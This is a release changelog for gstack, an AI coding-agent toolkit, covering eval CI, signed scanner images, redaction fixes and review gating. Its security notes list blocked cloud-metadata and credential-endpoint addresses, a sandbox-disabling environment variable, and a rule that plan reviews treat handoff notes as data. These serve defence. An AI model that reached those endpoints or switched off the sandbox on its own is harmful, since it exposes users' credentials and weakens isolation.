Local eval:bg:pr / eval:bg:release detach cap 25.8 h / 32.4 h 2.9 h / 2.25 h (1.5× planned work, never over 4 h)

Passing results a cancelled PR run hands to the next push 0 every finished shard, failures included

A branch dispatch that cancels main's weekly census possible no (concurrency is per ref and event)

Windows free lane wall 8.1 min on one runner about 4.6 min on six runners

Windows-safe files the curated lane runs 573 638

zsh arms of the bash+zsh portability tests in CI ~42 skipped (no zsh) all run

Free-suite flaky passes reported anywhere none (a write-only artifact) job summary + weekly test:health

Sentence pins on skill prose in free tests 2,332 1,190

What changes for you

PR evals keep finished work. A recover-receipts job restores the passes and failures of up to five cancelled runs of the same PR, checks where each came from, and hands them to the planner, so a re-push re-runs only what changed. A 90-second debounce skips a run that a newer push has already superseded; the evals-no-debounce label turns it off and evals-fresh turns reuse off.

PR selection narrows where it can. Duration seeds, free-only workflows, free tests and free fixtures (listed in test/helpers/free-fixtures-data.ts) no longer force the full gate. Other files map to the paid cases that actually consume them, derived from imports, bin names, template placeholders and build outputs (scripts/pr-dependencies.ts); deleted files are placed the same way. Shared inputs (package.json, the CI image, setup, the preamble resolvers, the eval policy) still run the full gate. The job summary names every fallback file and its fix.

bun run eval:bg:pr and friends dispatch CI when your HEAD is clean and pushed, and otherwise run locally with a cap sized to the planned work. Both paths end with ### gstack-detach EXIT=<code> ###; bun run scripts/eval-bg.ts status <log-or-run-id> reads it.

Weekly test health. bun run test:health (and .github/workflows/test-health.yml, Mondays) reports PR-lane fallback rate, reuse, cancelled slice-minutes, flaky free tests over 5% of main runs, and unseeded free tests. Its tracking issue opens only from main.

Branch census dispatches run the periodic lane only. Add -f include_gate_census=true for the gate census too, or dispatch evals.yml with -f evals_all=true for gate cases alone.

The OSV scan opens a tracking issue when it fails on main, and a free test fails 14 days before any ignoreUntil suppression expires.

Behavior changes you may notice

EVAL_POLICY is v2. A case's pass-rate history resets only when its own files or the declared HARNESS_VERSION change, weeks for quarantine expiry count main runs only, and branch census trials count toward a case's history only when its files match a series main has run. Readers ignore records from a newer policy version and say how many they skipped. Shared-harness edits record a decision with bun run scripts/bump-harness-version.ts --bump|--non-behavioral "<why>".

The 15 carve-section-loading-<skill> test files are one case-sharded file with a case id per skill (--case carve-section-loading-review); GSTACK_CARVE_SKILL is gone. skill-e2e-qa-workflow runs case by case.

Paid slices pack 7 minutes of work (was 9), so more runners start at once.

eval:select defaults to the PR profile.

/cso docs say contained runtime and scanner runs are not available yet: no runtime profile is qualified and the scanner catalog is empty.

For contributors

These package scripts print their replacement and exit 1 for one release, then go away:

Retired Use instead

test:evals, test:e2e, eval:bg bun run eval:bg:pr

test:evals:all, test:e2e:all, eval:bg:all bun run eval:bg:release

test:gate / test:periodic bun run test:gate:sharded / test:periodic:sharded

test:codex, test:codex:all bun run test:periodic:sharded (they ran zero cases)

eval:flake-rank bun run eval:pass-rates

eval:watch tail the gstack-detach log, or gh run watch <run-id>

test:audit bun run test

docs/test-value-bar.md narrows a "prompt-byte contract" to machine-read tokens. Check template and SKILL.md structure with test/helpers/prompt-structure.ts instead of pinning English sentences.

Free-suite tests share one install fixture (copy-on-write clones of a read-only seed) and inject short deadlines instead of waiting real seconds. Subprocess pipe tests use FIFOs; see TESTING_INTERNALS "Flake ledger" for the rules.

The free duration seed is shrink-only above 60 seconds per file (scripts/free-test-seed-allowlist.json), and only bun run test:ubicloud --record-durations produces an acceptable seed. Windows has its own seed, refreshed by a record_durations dispatch.

Deleted: ci-image.yml (the eval workflows build the same image), scripts/update-readme-throughput.ts, scripts/eval-watch.ts, orphaned fixtures, and ~160 unused imports in the paid runner (now split into scripts/lib/paid-types.ts and paid-select.ts). Native Windows and Dia qualification moved to the dispatch-only native-qualification.yml; ML, gitleaks and Swift opt-in tests run in the quarterly platform-qualification.yml. Small CI jobs run on free GitHub-hosted runners.

Evidence, the EVAL_POLICY v2 memo and its backtest are in docs/test-audit-2026-10.md.

[1.91.22.0] - 2026-10-05

/cso scanner execution has reviewed, signed scanner images to build from.

lib/cso/scanner-images/build-inputs.json now pins one attested base image per scanner (gitleaks, OSV-Scanner, Semgrep, zizmor, Trivy, Schemathesis) for linux/amd64 and linux/arm64, plus the SBOM generator. None of the upstream images publish GitHub artifact attestations, so the bases come from garrytan/gstack-cso-scanner-bases release bases-2026.10.04.3: each re-publishes a pinned upstream digest with the offline Semgrep rules or OSV/Trivy databases added, and its workflow signs SLSA provenance and an SPDX SBOM. Every identity, statement-set digest and asset hash was re-verified independently before the state changed to reviewed. Dispatching cso-scanner-images.yml on main now builds, qualifies and proposes the scanner catalog; until that catalog merges, scans still report not assessed.

The numbers that matter

Check Result

Attested images (6 scanners x 2 platforms + generator) verified with gstack's own gh attestation verify flags 13/13, both predicates

Statement-set digests recomputed with scripts/cso-attestation-evidence.ts 26/26 equal

Offline asset hashes recomputed from both platforms with hash-asset 6/6 equal

Scanners completing a real network-none scan through the production adapter on the published amd64 bases 6/6, no coverage gaps

What changes for you

OSV and Trivy reports survive redaction. Advisory links such as ntap-20210312-0006 read as phone numbers and four-part versions read as IP addresses, which used to discard the whole report. Scanner output now has each located span replaced in place; output is still withheld when a span cannot be located or crosses stdout and stderr.

Schemathesis scans finish. Schemathesis 4.26+ fuzzes until --max-time is spent; the adapter now budgets 75% of the scanner deadline and accepts a max_time stop once every selected operation ran.

The scanner qualification test runs. Its fixture now lives where the executor mounts sources and declares a real dependency, so OSV and Trivy exercise their offline databases.

For contributors

Refresh advisory databases by pushing a new bases-* tag in gstack-cso-scanner-bases, then review the release's build-inputs.json candidate here.

[1.91.19.0] - 2026-10-03

A check that did not run now says so, and memory stops losing transcripts. Codex and the other non-Claude hosts find gstack in every step of every skill.

This release closes the severe bugs left in the tracker. Two promises lead. First, nothing is silently lost: memory ingest marks a transcript saved only after gbrain confirms it landed, and learnings that could not be written say so. Second, no false all-clear: a Codex review whose sandbox could not start, a retired Codex model, a design binary killed at launch, and a learnings search with no Bun all used to read as "ready", "pass" or "no results". Each now prints not run or unavailable with the reason and the fix command, and every one of those messages has a section in the new docs/troubleshooting.md.

The numbers that matter

Measured on this release's tests against v1.91.16.0's code (each regression test was run on both; the counts come from those runs and from bun run gen:skill-docs --host all).

Check v1.91.16.0 v1.91.19.0

Codex review in a container with no user namespaces gate pass on "no findings" unavailable, missing coverage

Structured outside review with a [P0] finding gate pass gate fail

Generated bash blocks on env-var hosts that use a gstack path without finding gstack (test/env-host-fence-conformance.test.ts) hundreds 0

Codex /ship SKILL.md 202-241 KB, ~57K tokens carved, ~20K tokens

Redaction warnings on one rendered /diagram (SVG + .excalidraw) 115 0

A transcript gbrain skipped during import stamped as saved retried until gbrain has it

The first two rows are the ones to care about: a review that read nothing, or found a P0, used to let /ship through.

What changes for you

Gates tell the truth. Outside reviews go through one classifier that reads the text, stderr and exit status. Codex reviews that could not run print Codex outside review unavailable: <reason> with the fix, and /ship and /review show them as missing coverage, never as passed.

Memory keeps what you gave it. Memory ingest checks that each page landed before marking it saved, retries pages gbrain skipped, and sets aside (and names) one page that keeps breaking a batch. After upgrading, a bounded catch-up per /sync-gbrain re-imports transcripts older versions lost (gstack-memory-ingest --reconcile --dry-run previews it). Transcripts import into a private gbrain source per repository.

Codex, Factory, OpenCode, Cursor, Copilot and Kiro see the gstack router (setup installs real copies, which Codex requires), get the design and make-pdf binaries, and every skill block finds gstack on its own, honoring CODEX_HOME and an exported GSTACK_ROOT. ./setup --status says whether each install's router is a real file and its section links resolve.

Pushes stop being blocked by false positives: diagram coordinates, session = requests.Session(), CLAUDE.local.md, four-part version numbers and postgres:postgres@localhost. Real secrets still block.

Windows: /freeze, /guard and /investigate stop denying every edit, the generators no longer crash with EEXIST, the node-server bundle builds, and the /cso helper builds with the current Windows SDK.

/ship in a repo without a VERSION file ships without a version change instead of stopping.

Behavior changes you may notice

Codex reviews in containers say "unavailable" instead of passing. Fix: enable unprivileged user namespaces, or in a container you trust export GSTACK_CODEX_NO_SANDBOX=1.

The structured outside-review gate fails on P0 findings, not only P1. An untagged structured review is OUTSIDE_STATUS: unverified (missing coverage).

CODEX_MODE: unverified replaces ready when the model check times out; the review still runs and its own result is checked.

The first automatic Codex review on a machine prints a one-time notice naming the provider and which login or key pays. Reviews stay on; gstack-config set codex_reviews disabled turns them off.

/ship without a version source ships without a version change: no bump, no CHANGELOG version header, no vX.Y.Z title prefix. To version releases, create VERSION or echo package.json > .gstack/version-path. A pinned version file that is missing or malformed stops /ship with its path.

The plan completion audit says not run instead of auditing your PR against the newest unrelated plan. Bind one with a Plan: <path> line in the PR body, or run /autoplan.

Learnings and timeline lookups report a missing Bun (exit 127 with the fix) and skills print LEARNINGS: unavailable (<reason>) instead of an empty list.

Design skills say DESIGN_NOT_AVAILABLE: <path> --version exited <code> when the design binary cannot start, instead of claiming it is ready. Fix: cd <gstack checkout> && ./setup.

/sync-gbrain --dream (and --full) runs only the call-graph phase. If your gbrain cannot, it skips and says so; run gbrain dream --source <id> yourself for the full ~35-minute cycle.

gstack-memory-ingest --no-write is a true dry run and no longer records pages as saved.

Transcripts with no repository stay on this machine when your brain is remote. Staged pages carry a gstack_content_sha256 frontmatter field.

Disabled skills leave the router (gstack-config set disabled_skills ... updates it in the same command).

browse type --selector <sel> <text> types into an element. Bare browse type still types into the focused element and hints when the first word looks like a selector. Text starting with -- goes after --.

Headed browse keeps one profile per project (<project>/.gstack/chromium-profile). First use copies your logins from ~/.gstack/chromium-profile when no browser is using it. browse profiles lists them; browse profiles prune --days 30 removes idle ones. If a live browser holds the profile, browse names it and stops instead of killing it.

A redirect or link to a link-local or metadata address resets the tab to about:blank and the command fails with the reason.

BROWSE_EXTENSION_ID is ignored; forks use gstack-config set browse_extension_id <id>. BROWSE_EXTENSIONS_DIR runs headless with no window.

$D (design) no longer picks up OPENAI_API_KEY from a project's .env. Export it in your shell or use ~/.gstack/openai.json.

A database URL with the default postgres/postgres login still blocks a push on any host but localhost or 127.0.0.1, including a compose service name like @db. Use localhost, or read the URL from an env var.

Auto-update (team mode) no longer says "just upgraded" when setup failed. It retries after 1h, 6h and 24h, and each session start prints one line naming what did not finish and the fix.

Hand edits to installed router copies are saved to ~/.gstack/backups/skill-copies/, then overwritten. Setup prints where.

In Conductor, setup no longer installs the AskUserQuestion preference hook and removes one it added. To keep it: gstack-config set plan_tune_hooks yes, then ./setup.

Required team mode also blocks Copilot CLI's skill tool. Re-run gstack-team-init required to upgrade the project hook.

gstack-qa-evidence capture prints a revalidate list after your inputs change, naming the probes to rerun on current inputs before materialize; materialize says its verdict is final for that report root, so rerun the listed probes first.

/gstack-upgrade asks you to paste the absolute path Step 2 prints; every later step checks it is inside gstack's checkout before running git.

/ship's documentation gate snapshots its inputs in one call. gstack-docs-candidate snapshot records the audit candidate (base, HEAD, index, changed and new paths, content hashes) and compare reports what changed after the child returns.

Two setups writing settings.json at once both land. A writer whose lock attempt raced a holder releasing it used to skip its hook change (exit 5); it now retries once and only reports cannot create lock when the lock directory truly cannot be created.

/plan-ceo-review prints its mode handoff by running gstack-ceo-mode-handoff right after the mode is chosen (by you or by a saved preference), so the selected mode and approved decisions always appear before the review continues.

Browser setup names the platform when Aside is absent: the probe prints NEEDS_ASIDE: <OS> (was NEEDS_ASIDE), and the macOS-only download pitch trusts that line instead of re-checking the OS. GSTACK_PLATFORM overrides it for tests and unusual hosts; set it in your shell, never a project .env.

Security

A repository's .env or bunfig.toml can no longer change gstack's browser. Compiled binaries and the browse daemons ignore them, so a project cannot turn off Chromium's sandbox (GSTACK_CHROMIUM_NO_SANDBOX) or run code through a bunfig preload. This needs Bun 1.3.3 or later; gstack now requires Bun 1.4.0 (engines.bun), the version CI runs.

The browse sidebar terminal accepts connections only from the gstack extension.

Browse refuses link-local and cloud-metadata addresses (169.254.0.0/16 including container credential endpoints, 100.100.100.200, fe80::/10, fc00::/7) in every numeric and IPv6-mapped spelling, including after redirects and page-driven navigation. Connection-time DNS rebinding is not covered.

Screenshot, PDF and scrape output paths are checked the way the OS resolves them, so a symlink cannot redirect a write outside the allowed folders.

GSTACK_CODEX_NO_SANDBOX is read only from your shell environment (exactly 1), and every use prints a warning.

The iOS QA daemon bounds each device response (one 30-second deadline for the whole response, 64 MiB cap) and never replays a tap or write whose response was lost.

Upgrade

Claude Code: run /gstack-upgrade, then start a new session.

Codex and the other env-var hosts (Factory, OpenCode, Cursor, Copilot, Kiro): find your checkout with ./setup --status (the source column), then run cd <source> && git pull && ./setup --host <host>, and start a new session.

Then ./setup --status should show each install's router as a real file with every section link resolving.

Itemized changes

Fixed

Memory and gbrain. Ingest stamped pages gbrain skipped or never stored (#2778); --no-write wrote state. A project's .env DATABASE_URL reached a local PGLite brain (#1931). Offline or off-VPN looked like a broken config, and dot-leading project names (.claude) blocked ingest forever (#2884). Transcripts from every repository shared one source (#2232). /sync-gbrain said "pushed" when the artifacts source had 0 indexed pages (#2670), forced the full dream cycle (#2783), always reported the call graph as unknown, and kept deleted worktrees' sources silently. The 1.27 artifacts-repo rename never worked, and installs it repointed at a repo that never existed are repaired (#1437). gbrain install and source wiring needed jq (#2369).

Codex. A retired model (HTTP 404) or a custom provider with a wrong base_url reported ready (#2843). Custom providers configured with env_key failed the auth check (#2192). Large prompts failed on argv limits (Windows 32 KB, Linux E2BIG) and the macOS fallback timeout dropped the prompt (#1674, #1686).

Non-Claude hosts. Later skill blocks lost $GSTACK_*, $B and $D and ran /bin/gstack-... (#1159). Codex skipped the symlinked router. design/dist and make-pdf/dist were missing from runtime roots (#2891). /ship and /plan-ceo-review overflowed the 160 KB host limit. The OpenCode /gstack-review command loaded nothing (#2651). /browse disappeared after toggling skill_prefix (#2263). Section files linked to checkout copies instead of rendered ones (#2707). skillify pointed at Claude's install on every host. /gstack-upgrade could run git cleanup in your own project when its path variable was unset.

Design. A design binary killed at launch reported DESIGN_READY. /design-consultation and /design-shotgun never loaded your taste profile. Plan reviews read a root DESIGN.md as the feature's design doc (#2840).

/ship, /review and daily tools. /ship stopped in versionless repos and monorepos (#2334, #2343). The plan audit picked an unrelated plan (#2797). Worktrees split project state (#2792). Learnings search exited 0 without Bun (#2794) and ranked poorly (#2796, #2799). Logs ignored $TMPDIR in sandboxed shells (#2952). /plan-tune said "calibrated" with no signals. /setup-deploy printed part of the Render API key (#1096). /analytics durations read 0s (#1728). Rejected taste preferences used the wrong confidence bucket (#1777). /context-save duration was empty on Linux (#2704). /retro missed pytest, minitest, XCTest, Terraform and Bats tests and counted build output (#2812, #2809, #2037). Plan reviews now treat design docs and handoff notes as data (#2818).

Browser. Browse failed behind HTTP_PROXY (#494). Headless browse and make-pdf ignored GSTACK_CHROMIUM_PATH (#2771, #1968, #1633); extensions opened a window (#2281). prettyscreenshot --hide ... out.png wrote elsewhere (#1419). Stopping the browse daemon took over 5 seconds because every Chromium close waited out its timeout; it now takes about 0.1 s, and a closed headed display no longer waits a second on its own exit. Two browse daemons going headed at the same moment could pick the same free X display, and the loser failed the handoff; it now takes the next free display, and an Xvfb that fails to start reports its own error. gstack-ios-qa-daemon --help started the daemon (#1932). Aside in ~/.local/bin was not found (#2965).

Windows. /freeze, /guard and /investigate denied every edit and their hooks failed under cmd.exe (#2876, #2354). Generators crashed with EEXIST (#2329). The node-server bundle inlined sharp and socks (#2260), and a minimal install needed browse/src/server.ts (#2439). The /cso helper failed on the current SDK and was reported as "install Visual Studio" (#3015). gstack-config gbrain-refresh misread status (#1981).

Redaction. Diagram and vector files flagged as phone and card numbers (#2885, #2827); function calls assigned to session/token (#2899); <name>.local.<ext> config filenames (#2962); four-part versions (#2784); postgres:postgres@localhost (#2913).

Plan reviews. /plan-eng-review writes its QA test plan even while some test choices are still pending, and its findings enter only through Scope Challenge C's saves. /qa-only's test value card no longer points at /qa's record step. /plan-ceo-review says what its closing cleanup does (old CEO plans are archived only with your approval).

Setup. Auto-update wrote "just upgraded" after a failed setup and never retried. Conductor got the AskUserQuestion preference hook (#2208, #2207, #2719); office-hours asks its questions as Q1... prose there (#2729). Team mode's matcher missed Copilot's skill tool (#2229). A failed arm64 re-sign left a broken binary.

Added

docs/troubleshooting.md: every gate message, what it means, what is kept, and the command that fixes it.

gstack-memory-ingest --reconcile [--dry-run] [--limit N] and --request-reconcile; gstack-gbrain-sync --prune-gone-worktrees [--dry-run]; gstack-slug --adopt-legacy --from <slug> / --dismiss <slug>.

browse type --selector, browse profiles [list|prune --days N], design --version, gstack-config set browse_extension_id <id>.

For scripts: bun lib/outside-review-result.ts --verdict <gate> <file> prints VERDICT: clean|findings|unverified|unavailable (exit 0/3/4/1); the two-argument form is unchanged.

For contributors

New invariants with free tests: gate outcomes in lib/gate-outcomes.ts with a troubleshooting anchor per reason code; a fresh-shell conformance test and a quote-aware bash lint over every generated block on every env-var host; a per-host 160,000-byte SKILL.md ceiling.

Eval children no longer receive credential env vars that carry a suffix (GITHUB_TOKEN_1, GITHUB_APP_PRIVATE_KEY_BASE64); admit one explicitly with extraAllow (#2949). Chunked large-push coverage for the pre-push guard (#2915).

The test typecheck ratchet ignores the order tsc prints an object type's members in.

The weekly eval report counts only cases that ran: tests deselected for another tier or case shard are listed by reason with no credit, every result is attributed to its case (0 unattributed, was 72), and no PR-lane eval shard runs over 10 minutes (the deploy eval is split per case).

Codex evals run on their own CI job where Codex's sandbox can start, and pass only when Codex completed a command; a review whose sandbox failed now fails instead of passing. The /codex review eval passes only when Codex actually reviewed the diff. The AUQ matrix checks the (recommended) marker on option labels, where the auto-decide hook reads it. The /plan-eng-review QA test-plan eval now runs the real interactive review instead of a shortcut prompt that skipped the workflow: a periodic checkpoint resumes it at Test review from a recorded Scope Challenge, and the full fresh run is a non-blocking marathon case.

Contributed by @CermakM (#2843), @Haijie-Lee (#2192), @SomSamantray (#2965), @Vaughan-g-aus (#2329), @BharadwajMittapelli (#2729), @maxpetrusenkoagent (#1931, #1932, #1981), @Infiniteyieldai (#2884), @afshaker (#2778), @time-attack (#2232, #2229), @jzeisweiss (#2670), @liutiming (#2783), @agile-operators (#1437), @benjaminberes-bp (#2369), @lewispeel (#2885), @Yugz29 (#2899), @fcmerle (#2962), @cdecook23 (#2784), @mb1810 (#2913), @ntdatt812 (#2949), @pneumorea-ai (#2915), @gabrielrondon (#2811), @kevingrasso32 (#2876), @xwang4-svg (#2354), @DizzyWesterwald (#2936), @oli548 (#2771), @shofel (#1968), @ryanlaiwy (#1633), @yinanli1917-cloud (#2281), @Spooks444 (#2260), @punksterlabs (#2439), @himiaocc (#2492), @jbetala7 (#1419, #1777), @mamedov (#2891), @Lockyer228 (#2651), @topcoder1 (#2263), @jonahberg (#2707), @AlinValentin7 (#3015), @philhie (#2208), @Alchemist-DevAI (#2334), @merit-blake (#2343), @day-of-davon (#2952), @loulanyue (#2797, #2792, #2794, #2796), @Bit0ps (#2840), @szsunyuan (#2799), @frosimanuel (#2818), @JiayuuWang (#1096), @RyanAlberts (#1728), @exGeni (#2704), @Jino00 (#2812), @snig-17 (#2809) and @SholtoMc (#2037).

[1.91.18.0] - 2026-10-03

Transcript consent can cover only new sessions or only chosen repos, and Claude Code users can opt into a model-tuned skill overlay. The safety rules and judges the Opus 5.5 cleanup left alone now have evals and calibration behind them.

This release closes the follow-ups filed by the v1.91.15.0 prompt cleanup. The cleanup had held six safety rules at their old wording and left the judge prompts untouched, because nothing could show a change was safe. Each now has an eval or a calibration corpus, and only the changes that passed them shipped.

What changes for you

Narrower transcript consent. The gbrain transcript gate offers "new sessions only", stored as new@<UTC time>, which ingests only sessions that started after you answered. gstack-config set transcript_repos <repo,...> limits ingest to the repos you name. Turning ingest off keeps pages already staged, and only a narrower choice purges them. gstack-config unset <key> is new, and every config write now takes a lock.

Opt-in Claude overlay. ./setup --claude-model <id> renders the model's tuned skill overlay (opus-4-7, opus-4-8, sonnet-5, fable-5) and keeps it across upgrades and gbrain-refresh. ./setup --claude-model claude returns to the generic overlay, and ./setup --status shows which one is active.

Design docs follow your state root. /plan-eng-review, /plan-ceo-review, /plan-devex-review and /autoplan find /office-hours design docs under $GSTACK_STATE_ROOT through the new gstack-design-doc-find helper, so custom state roots no longer miss them.

/design-shotgun generates its variants with one $D variants --briefs-file call instead of one subagent per variant, then publishes every image with gstack-design-claim, so earlier rounds are never overwritten.

/qa and /qa-only probe loops use readable names (PROBE_DIR, DEADLINE_FILE, DEADLINE_TOOL, EVIDENCE_TOOL) and a short "how one probe works" summary. The commands and machine-read markers are unchanged.

Codex outside voice states its filesystem boundary at normal volume. A 10-trial eval showed Codex still keeps out of ~/.claude/, ~/.agents/, .claude/skills/ and agents/. The pair-agent instruction block's divider is fixed.

Itemized changes

Added

Six safety-rule evals (test/skill-e2e-safety-*.test.ts) and a registry of held safety rules (test/helpers/safety-rules.ts) that fails when a listed rule's wording changes without its eval.

Judge calibration: scripts/judge-calibration.ts and stored corpora in test/fixtures/judge-calibration. The arm, qa health-rubric, qa anti-refusal, cross-skill, voice and default workflow judges now send a JSON schema; each passed its flip-rate and false-pass checks against the old prompt.

Archaeology lint (test/archaeology-lint.test.ts) flags issue numbers, plan IDs and incident stories in runtime skill prose. bun run audit:manifest prints the file slices to feed /claude-api prompt-audit at each frontier-model release (see CONTRIBUTING.md).

The Opus 5.5 dedicated-tools overlay case runs in the periodic lane, and plan-ceo-review-plan-mode joins the fast PR profile.

Changed

The plan-floor assessment cap is 90 seconds (it was 30); the measured p95 is 27 seconds and the slowest run took 31.

Parity caps lowered to measured sizes for land-and-deploy and ship.

The codex consult section drops issue numbers from its runtime prose.

Fixed

/review's specialist header counted advisory findings in its total; the header's N is now defined as critical plus informational.

Free-lane shards failed with "browser ownership deadline exceeded" when a browse daemon took more than 5 seconds to exit after SIGINT. Reaching the force-kill point now ends the graceful phase instead of recording a cleanup failure; a probe cut off at that point still fails the shard.

bun run audit:manifest printed backslash paths on Windows.

/review and /ship's design-review scope check sourced gstack-diff-scope without printing SCOPE_FRONTEND, so the agent could not see the value and reran the helper by hand. The block now prints it.

Exploratory QA could publish its evidence before listing captures taken before an input change, which left the verdict inconclusive (materialize runs once). The probe loop now says to annotate every capture and mark older-snapshot ones superseded.

For contributors

Five safety rules and the qa workflow, review and cookie judges keep their wording; TODOS.md lists what each needs before it can change.

[1.91.17.0] - 2026-10-03

Checkpoints say whether each next step was run, read or guessed, and /context-restore verifies the guesses first. Paid design images are never overwritten, and design skills always show the round you just paid for.

This wave rebuilds three community PRs from @mvanhorn on current main. A checkpoint's Remaining Work used to read the same whether a step had been run or only inferred, so a resumed session could act on a guess and hit the wrong system (#3004, reported by @tomg65). Running $D variants twice into one folder replaced variant-A.png, $D generate --retry kept only the last image, and skills built boards from fixed variant-A/B/C names, so you could pay for images you never saw (#1529, reported by @SakenW).

What changes for you

Remaining Work carries provenance. Every item starts with Open. and ends with how the saving session knows it: (path run) with the outcome, (path read) or (path assumed) for commands, flags, config values and files; (target state checked), (code read) or (path assumed) for writes. For example:

1. Open. Run the migration check with SWITCH_B=1 against staging. (path assumed) 2. Open. Run bun test test/billing.test.ts. (path run) exit 0
/context-restore keeps the saved order but shows item 2 under Next steps and item 1 under Verify first, and "continue" starts by verifying item 1 read-only instead of jumping to item 2. Checkpoints saved before this release have no markers, so their command, path and write items land under Verify first, with a one-line banner saying so.

Nothing paid is lost. A taken image name gets -2, -3 and so on (variant-A-2.png); stderr says note: <requested> exists; saved to <actual> (existing file kept) and the JSON reports the real path. Every --retry attempt is its own saved image. If saving fails after the API returned the image, the bytes go to a private recovery copy in your temp directory and the message says where; a local write failure never buys a second image.

Every image command prints JSON, even on failure: requested, saved, selected, failures, recovered. Exit 0 means the result is ready, 2 means nothing was saved, 3 means the run stopped after saving some images.

Boards show this round only. Skills tell you how many of the requested images were saved, write the round's printed paths to board-images.json, build the board with $D compare --images-file, archive an old feedback.json first, and record approved_path in approved.json, so a later session opens exactly the image you approved. Old letter-only approvals still work. /design-shotgun subagents stage in a fresh temp directory and publish with gstack-design-claim, which never overwrites.

If you script $D, read paths from the JSON instead of assuming the file name:

out=$($D generate --brief "pricing page" --output designs/pricing.png); rc=$? img=$(printf '%s' "$out" | jq -r .outputPath) [ "$rc" -eq 0 ] && $D check --image "$img" --brief "pricing page"
variants prints its list in .paths; compare takes it losslessly with --images-file paths.json.

Windows console flashes (#1784) were confirmed fixed on main (v1.91.15.0) by @kaiwulff on a real Windows 11 desktop; this release ships no code for them.

Itemized changes

Fixed

/context-save Remaining Work did not record whether a step was run, read or assumed, and /context-restore offered the first item as the next action (#3004). Marker format from #3019 by @mvanhorn, field-tested by @tomg65.

Design images were silently overwritten by later rounds and --retry attempts (#1529). Exclusive-create claim idea from #1737 by @mvanhorn.

Comparison boards and quality checks read fixed variant-A/B/C names or a variant-*.png glob and mixed rounds; a stale feedback.json could approve a new round.

$D wrote iterate session files to /tmp, which does not exist on Windows, so generate could not record its session and iterate could not find it there; sessions now live in the OS temp directory.

/setup-deploy reported a failing status command as success (the pipe hid its exit code), matched cd anywhere in a workflow as a deploy workflow, and left the merge-method check, Fly /health detection and GitHub-Actions-only status command unspecified.

Added

$D compare --images-file and JSON-array --images, bin/gstack-design-claim, bin/gstack-design-approved, and approved_path in approval records.

Periodic behavior eval context-restore-provenance-order (3-trial panel) and free contract tests for the provenance markers, $D persistence and the design-skill path rules.

[1.91.16.0] - 2026-10-03

Installing or upgrading gstack never quietly changes another copy, and ./setup --status shows every install. Skills start in worktree-isolated Claude Code sessions, and a review that didn't run says so.

This release makes three promises hold and backs each with tests. Upgrades used to refresh only Claude Code, so Codex and OpenCode installs drifted for months, and a failed refresh could leave ~/.codex/skills/gstack empty. Claude Code sessions isolated to a worktree refused every skill's start command. /cso said "No supported findings" when it had assessed nothing, and Codex calls ignored the model you configured.

What changes for you

See every install. ./setup --status prints one row per install: host, tier, scope, source, version. Setup and /gstack-upgrade end with the same rows and say which host failed and how to retry. Nothing is written by --status.

Upgrades refresh every registered host, each in its own process. A failed host keeps its previous working install. --host codex no longer touches Claude's hooks, and a second checkout no longer silently repoints the global Claude link (use --global on purpose).

Setup rejects unknown options before writing anything and suggests the right one. Bare ./setup installs for Claude Code; use --host auto to detect every agent.

Host tiers. Every host declares a support tier: Claude is full; Codex, Kiro, Factory, OpenCode, Cursor and the new GitHub Copilot CLI host are experimental; Slate, OpenClaw, Hermes and GBrain are instruction-only. On hosts without hooks, /careful, /freeze and /guard say "advisory, not blocked".

GitHub Copilot CLI: ./setup --host copilot installs to ~/.copilot/skills (experimental).

Turn off skills you don't use: gstack-config set disabled_skills make-pdf,pair-agent. Typos get the closest name, "" re-enables everything, and the setting survives upgrades.

Worktree-isolated sessions start skills. The start command is one literal line, context recovery moved into gstack-context-recovery, and skill blocks no longer eval gstack helpers. Installs in renamed folders, project-vendored copies, CLAUDE_CONFIG_DIR and CODEX_HOME get their own rendered skills that point at the right root; paths with spaces get a space-free alias.

Codex uses your model. Order: a model named for the request, GSTACK_CODEX_MODEL, your Codex config.toml (review_model first for native review), then gpt-6-astra. gstack prints CODEX_MODEL: … (source: …) before any paid call and stops with a repair message when the choice is invalid. Outside voices state their own timeout (at most 10 minutes) and are no longer cut off at 2 or 5 minutes.

/cso tells the truth. A report where nothing was assessed reads "not assessed" with what ran, what's missing, why and the next step. On Windows and macOS a lease whose process ID now belongs to an unrelated process is reclaimed; one unreadable lease left by an older gstack no longer blocks start.

make-pdf --toc prints real page numbers and its links survive empty headings and reused ids. If the numbers can't be verified, it exits 3 instead of printing empty cells.

Design images keep working after OpenAI retires gpt-image-1 on Oct 23. The design binary uses gpt-5.5 with image generation pinned to gpt-image-2; GSTACK_DESIGN_MODEL overrides it, and bun run design/scripts/live-model-check.ts checks a key against the defaults.

Upgrade: run /gstack-upgrade, then ./setup --status to confirm each host, and start a new agent session.

Itemized changes

Fixed

Upgrades refresh only Claude Code; Codex and OpenCode installs drift (#1925). A project-vendored setup's earlier capture of the machine-wide Codex namespace is reported by --status (#2879). --host codex exposed changes to Claude (#2347); ~/.Codex paths (#2338).

Host refreshes copied over the live install, so a failure emptied it; runtime and skill directories are now staged and swapped, including on Windows. Migrations advance only past those that succeeded.

Worktree-isolated Claude Code sessions refused every skill's start preamble (#2763). Install dirs not named gstack broke skill paths (#1882). Claude Code rewrote $1-style tokens in skill bodies (#2896). The plan-mode preamble claimed skill precedence over host restrictions (#2851).

OpenCode command files and question tool (#2629, #2626); Hermes frontmatter names and question tool (#2825, #2015); /cso on Codex reported its launcher missing (#2906).

Codex model selection ignored your configuration (#2914). Outside-voice timeouts killed Codex early or exceeded the tool limit (#2776). The probe cached success after the binary or auth changed (#2787). Unguarded mktemp handed Codex empty paths (#2881). Nested Codex reviews saw gstack's installed skills (#2847).

/cso on Windows bricked later runs after a dead or unreadable lease (#2894). /cso reported "No supported findings" for an unassessed scope. The redaction guard flagged api_key=os.environ[...] as a secret (#2912).

Browse on Windows: EEXIST on an existing .gstack (#2048); the terminal agent died with the CLI console (#2637). Windows pre-push guard path regression test (#2805).

make-pdf TOC page numbers were empty and anchors shifted (#2903). Design commands hardcoded gpt-4o and sent max_tokens (#2807).

Free tests wrote to the developer's real ~/.gstack (#2895), left browse daemons running (#2816), called a real gbrain on PATH (#2829), and failed on macOS's symlinked temp root (#2841, #2982, #2911, #2909, #2908, #2910).

Added

./setup --status, the install registry ($GSTACK_STATE_ROOT/installs.tsv), host tiers and capabilities, and a host conformance test that runs real setup for every installable host.

GitHub Copilot CLI host (#393), selectively ported from #2323 by @andrey-esipov with earlier work by @ridermw and @lolisaigao1234.

disabled_skills config (#1206).

OpenSSF Scorecard workflow (#1997) and a macOS named-regressions CI job.

Changed

Every GitHub Action is pinned to a commit SHA, enforced by a test (#1948). The CI image installs Bun from a SHA-256-verified archive (#1706) and carries a pinned Codex CLI that only Codex eval cases can reach.

